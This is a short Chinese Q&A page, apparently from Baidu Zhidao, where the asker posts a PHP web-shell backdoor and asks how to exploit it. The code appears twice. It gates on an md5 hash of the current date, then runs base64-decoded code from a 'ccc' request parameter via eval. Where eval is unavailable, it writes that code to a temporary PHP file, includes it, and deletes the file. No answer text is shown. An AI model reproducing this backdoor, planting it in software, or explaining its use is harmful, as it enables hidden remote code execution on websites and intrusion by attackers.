php一句话利用 我想知道下面这句话怎么利用
function_initialize(){$__tk=md5(date('Y-m-d'));if(!empty($_REQUEST['__tk'])&&$_REQUES...
function _initialize() {
$__tk = md5( date( 'Y-m-d' ) );
if( !empty( $_REQUEST['__tk'] ) && $_REQUEST['__tk'] == $__tk ) {
if( !empty( $_REQUEST['ccc'] ) ) {
if(function_exists('eval')) {
@eval(base64_decode($_REQUEST['ccc']));
} else {
$file = "./".microtime(1).".php";
file_put_contents($file, "<?php ".base64_decode($_REQUEST["ccc"]));
@include $file;
@unlink($file);
}
}
} 展开
$__tk = md5( date( 'Y-m-d' ) );
if( !empty( $_REQUEST['__tk'] ) && $_REQUEST['__tk'] == $__tk ) {
if( !empty( $_REQUEST['ccc'] ) ) {
if(function_exists('eval')) {
@eval(base64_decode($_REQUEST['ccc']));
} else {
$file = "./".microtime(1).".php";
file_put_contents($file, "<?php ".base64_decode($_REQUEST["ccc"]));
@include $file;
@unlink($file);
}
}
} 展开
1个回答
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询